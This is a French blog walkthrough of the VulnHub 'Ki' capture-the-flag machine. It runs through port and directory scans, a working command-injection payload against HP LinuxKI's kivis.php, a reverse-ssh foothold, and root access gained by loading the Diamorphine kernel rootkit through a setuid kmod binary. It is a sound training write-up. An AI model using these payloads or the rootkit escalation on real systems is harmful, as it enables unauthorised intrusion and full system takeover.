Accueil Solution du CTF Ki de VulnHub
Post
Annuler

Solution du CTF Ki de VulnHub

Ki est un CTF posté sur VulnHub et créé par un certain Cody Winkler. La description du CTF… et bien il n’y en a pas donc on se dit soit l’auteur a tout fait à l’arrache soit seul la technique l’intéresse et il n’a pas perdu du temps sur la description.

Je préfère évidemment la seconde option, la suite nous le dira :)

1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for 192.168.56.42
Host is up (0.00018s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 bcdcffdc549fd9a604b37071179d4582 (RSA)
|   256 323a1837b060c5dda560acfb57d2d55c (ECDSA)
|_  256 ecddcb2b394d1525a815c3aa685910fc (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Datacenter Dudes - Contractors You Can Trust!
|_http-server-header: Apache/2.4.41 (Ubuntu)

La page d’index ne semble contenir rien d’utilisable. Il est temps de fouiller un peu plus.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ feroxbuster -u http://192.168.56.42/ -w fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-files.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.4.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.56.42/
 🚀  Threads               │ 50
 📖  Wordlist              │ fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-files.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.4.0
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200      182l      684w    10427c http://192.168.56.42/index.html
403        9l       28w      278c http://192.168.56.42/.htaccess
200      182l      684w    10427c http://192.168.56.42/
403        9l       28w      278c http://192.168.56.42/.html
403        9l       28w      278c http://192.168.56.42/.php
403        9l       28w      278c http://192.168.56.42/.htpasswd
403        9l       28w      278c http://192.168.56.42/.htm
403        9l       28w      278c http://192.168.56.42/.htgroup
200        5l       36w      194c http://192.168.56.42/debug.php
403        9l       28w      278c http://192.168.56.42/wp-forum.phps
403        9l       28w      278c http://192.168.56.42/.htpasswds
403        9l       28w      278c http://192.168.56.42/.htaccess.bak
403        9l       28w      278c http://192.168.56.42/.htuser
403        9l       28w      278c http://192.168.56.42/.htc
403        9l       28w      278c http://192.168.56.42/.ht
403        9l       28w      278c http://192.168.56.42/.htacess
403        9l       28w      278c http://192.168.56.42/.htaccess.old

Le script debug.php trouvé m’est énigmatique. J’ai tenté d’y rajouter un paramètre file pourtant ça n’a rien donné.

1
2
3
4
5
<!-- T-56819 - added file parameter for easier page navigation with linuxki - chris -->

=== runki for Linux version 6.0
!!! runki script must be run as root
!!! currently logged in with UID 33

Le Kiki de tous les Kiki

Une énumération sur les noms de dossiers n’a rien donné mais j’ai eu la bonne intuition de tester la présence des dossiers runki et linuxki et sur ce dernier le dossier existe mais répond avec un 403 Forbidden 👍

J’enchaine donc sur une énumération de ce dossier :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ feroxbuster -u http://192.168.56.42/linuxki/ -w fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-directories.txt 

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.4.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.56.42/linuxki/
 🚀  Threads               │ 50
 📖  Wordlist              │ fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.4.0
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        9l       28w      324c http://192.168.56.42/linuxki/modules
301        9l       28w      320c http://192.168.56.42/linuxki/src
301        9l       28w      320c http://192.168.56.42/linuxki/man
403        9l       28w      278c http://192.168.56.42/linuxki/
403        9l       28w      278c http://192.168.56.42/linuxki/modules/
301        9l       28w      329c http://192.168.56.42/linuxki/experimental
403        9l       28w      278c http://192.168.56.42/linuxki/man/
403        9l       28w      278c http://192.168.56.42/linuxki/src/
200      552l     1474w    21952c http://192.168.56.42/linuxki/experimental/exp
403        9l       28w      278c http://192.168.56.42/linuxki/experimental/
301        9l       28w      333c http://192.168.56.42/linuxki/experimental/vis
301        9l       28w      324c http://192.168.56.42/linuxki/cluster
403        9l       28w      278c http://192.168.56.42/linuxki/cluster/
403        9l       28w      278c http://192.168.56.42/linuxki/experimental/vis/
301        9l       28w      325c http://192.168.56.42/linuxki/src/liki
200      184l      824w     7383c http://192.168.56.42/linuxki/src/liki/Makefile
403        9l       28w      278c http://192.168.56.42/linuxki/src/liki/

Intéressant, on trouve un fichier Makefile qui semble correspondre au build d’un module kernel. Extrait :

1
2
3
4
5
6
7
8
9
10
11
build:
        $(MAKE) -C $(KERNELDIR) M=$(PWD) modules  
        cp likit.ko likit.ko.$(shell uname -r)

clean:
        rm -rf *.o *~ core .depend .*.cmd *.ko* *.mod.c *.unsigned *.order Module*

install:
        cp likit.ko /opt/linuxki/modules/likit.ko.$(shell uname -r)
        mkdir /lib/modules/$(shell uname -r)/misc 2>/dev/null
        cp likit.ko /lib/modules/$(shell uname -r)/misc/

Ce LinuxKi serait donc une vrai app et non un code custom. J’ai fait des recherches et je suis tombé sur LinuxKI Toolset (Trace-based performance analysis tool) un projet open-source de HewlettPackard.

J’ai ensuite trouvé cet exploit : HP LinuxKI 6.01 - Remote Command Injection - Multiple remote Exploit

Le projet en question semble par conséquent avoir une partie kernel mais aussi des scripts PHP donc un nommé kivis.php qui est vulnérable.

A tout hasard j’ai lancé Nuclei dessus pour voir si il trouvait la vulnérabilité mais ce n’est pas le cas.

Si on se tient à ce que l’exploit fait, il suffit d’injecter des commandes dans le paramètre pid de l’URL. J’ai donc essayé avec :

http://192.168.56.42/linuxki/experimental/vis/kivis.php?type=kitrace&pid=;id;

Mais je n’obtenais qu’une page d’erreur pour un utilitaire nommé kiinfo.

 Error: Argument missing
Usage:   kiinfo [options ...]
Options:
	-dump | -kitracedump [flag,flag...]
		 flags: debug_dir=<path>
			dur=<duration>
			events=<default | all | tool | event>
			subsys=<subsys>
			help
	-likid | -likidump [flag,flag...]
		 flags: debug_dir=<path>
			pid=<pid>
			tgid=<tgid>
			dev=<dev>
			cpu=<cpu>
			msr
			dur=<duration>
			events=<default | all | tool | event>
			subsys=<subsys>
			sysignore=<filename>
			help
	-likim | -likimerge [flag,flag...]
		 flags: help
--- snip ---

J’ai joué un peu avec le paramètre vulnérable et finalement il semblait mal digérer le point virgule :

http://192.168.56.42/linuxki/experimental/vis/kivis.php?type=kitrace&pid=15|env;

1
2
env: invalid option -- 't'
Try 'env --help' for more information.

Avec une syntaxe différente, en utilisant un pipe et en échappant la suite avec un octet nul j’obtient l’output que j’espère :

http://192.168.56.42/linuxki/experimental/vis/kivis.php?type=kitrace&pid=15|env%00|

1
2
3
4
5
6
7
8
9
10
11
APACHE_RUN_DIR=/var/run/apache2
APACHE_PID_FILE=/var/run/apache2/apache2.pid
JOURNAL_STREAM=9:20343
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
INVOCATION_ID=0f681eaa0c72462694ecd42c2ab56c27
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html/linuxki/experimental/vis

Une fois un reverse-ssh uploadé et exécuté je commence à fureter sur le système. Je récupére par exemple le contenu du debug.php croisé plus tôt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!-- T-56819 - added file parameter for easier page navigation with linuxki - chris -->

<?php

if (isset($_GET['environ'])){
    echo phpinfo();
}

if (isset($_GET['file'])){
    echo file_get_contents("linuxki/experimental/vis/" . $_GET['file'] . ".php");
}


echo shell_exec("/opt/linuxki/runki -f");

?>

Effectivement il y avait bien un paramètre file mais avec un prepend + append sans compter qu’il s’agit uniquement un directory traversal et non d’une inclusion.

Un utilisateur nommé chris est présent sur le système et a quelques fichiers lisibles :

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@ki:/home/chris$ ls -al
total 44
drwxr-xr-x 4 chris chris 4096 Dec 21  2020 .
drwxr-xr-x 3 root  root  4096 Dec 18  2020 ..
-rw------- 1 chris chris  596 Dec 19  2020 .bash_history
-rw-r--r-- 1 chris chris  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 chris chris 3771 Feb 25  2020 .bashrc
drwx------ 2 chris chris 4096 Dec 18  2020 .cache
drwxrwxr-x 3 chris chris 4096 Dec 19  2020 .local
-rw-r--r-- 1 chris chris  807 Feb 25  2020 .profile
-rw-r--r-- 1 chris chris 1410 Dec 21  2020 module_prep.log
-rw-rw-r-- 1 chris chris  373 Dec 21  2020 reminder.txt
-rw-rw-r-- 1 chris chris   66 Dec 19  2020 user.txt

Voici le contenu du reminder :

Those fools completely messed up the LinuxKI demo for our sales leads!

Hopefully the admins got the message about our build not being able to load some random kernel module.
I will pester them again about it to see if there’s something they can do.
On the bright-side, they seem to have done a fine job patching our demo install, so We should be back in business soon…

Et le premier flag : 1487c1696540a7d14bf896a2191a9ab1

El dia de la morphine

Si je cherche les fichiers appartenant à l’utilisateur puis au groupe chris je remarque l’exécutable kmod qui est setuid root :

-rwsr-xr-x 1 root chris 174424 Mar 12  2020 /usr/bin/kmod

Il va donc falloir compiler une rootkit kernel sur le système, la charger et obtenir le root de cette façon.

J’ai d’abord galéré car gcc indiquait l’absence du binaire cc1 sur le système. Je l’ai finalement retrouvé à l’emplacement /usr/lib/gcc/x86_64-linux-gnu/9/cc1.

J’ai créé un lien symbolique depuis le dossier courant vers le programme et rajouté le chemin dans la variable PATH.

J’ai tenté de compiler la rootkit ivyl mais la compilation échouait, visiblement le code était trop vieux pour le kernel du système (5.4.0-58).

La compilation s’est en revanche bien passée avec Diamorphine: LKM rootkit for Linux Kernels 2.6.x/3.x/4.x/5.x (x86/x86_64 and ARM64).

L’aide de kmod indique qu’il fonctionne en partie grace à des liens symboliques. le binaire agit donc différemment selon comment il est appelé. Passer par un lien symbolique ne drop dans tous les cas pas le bit setuid.

On va donc utiliser insmod (l’un des liens symbolique) pour charger la rootkit puis envoyer le signal 64 au pid courant ce qui d’après la doc de Diamorphine donne les droits root au processus :

1
2
3
4
5
6
7
8
9
10
11
www-data@ki:/tmp/Diamorphine-master$ insmod diamorphine.ko 
www-data@ki:/tmp/Diamorphine-master$ kill -64 $$
www-data@ki:/tmp/Diamorphine-master$ id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
www-data@ki:/tmp/Diamorphine-master$ cd /root
www-data@ki:/root$ ls
root.txt  snap
www-data@ki:/root$ cat root.txt 
Congratulations! Feel free to tweet me @cwinfosec for feedback.

ae3e05609da7811c015920151e295612

Victory ! Le CTF nécessitait une bonne part d’intuition mais j’ai eu les idées claires.

Publié le 4 novembre 2022

Cet article est sous licence CC BY 4.0 par l'auteur.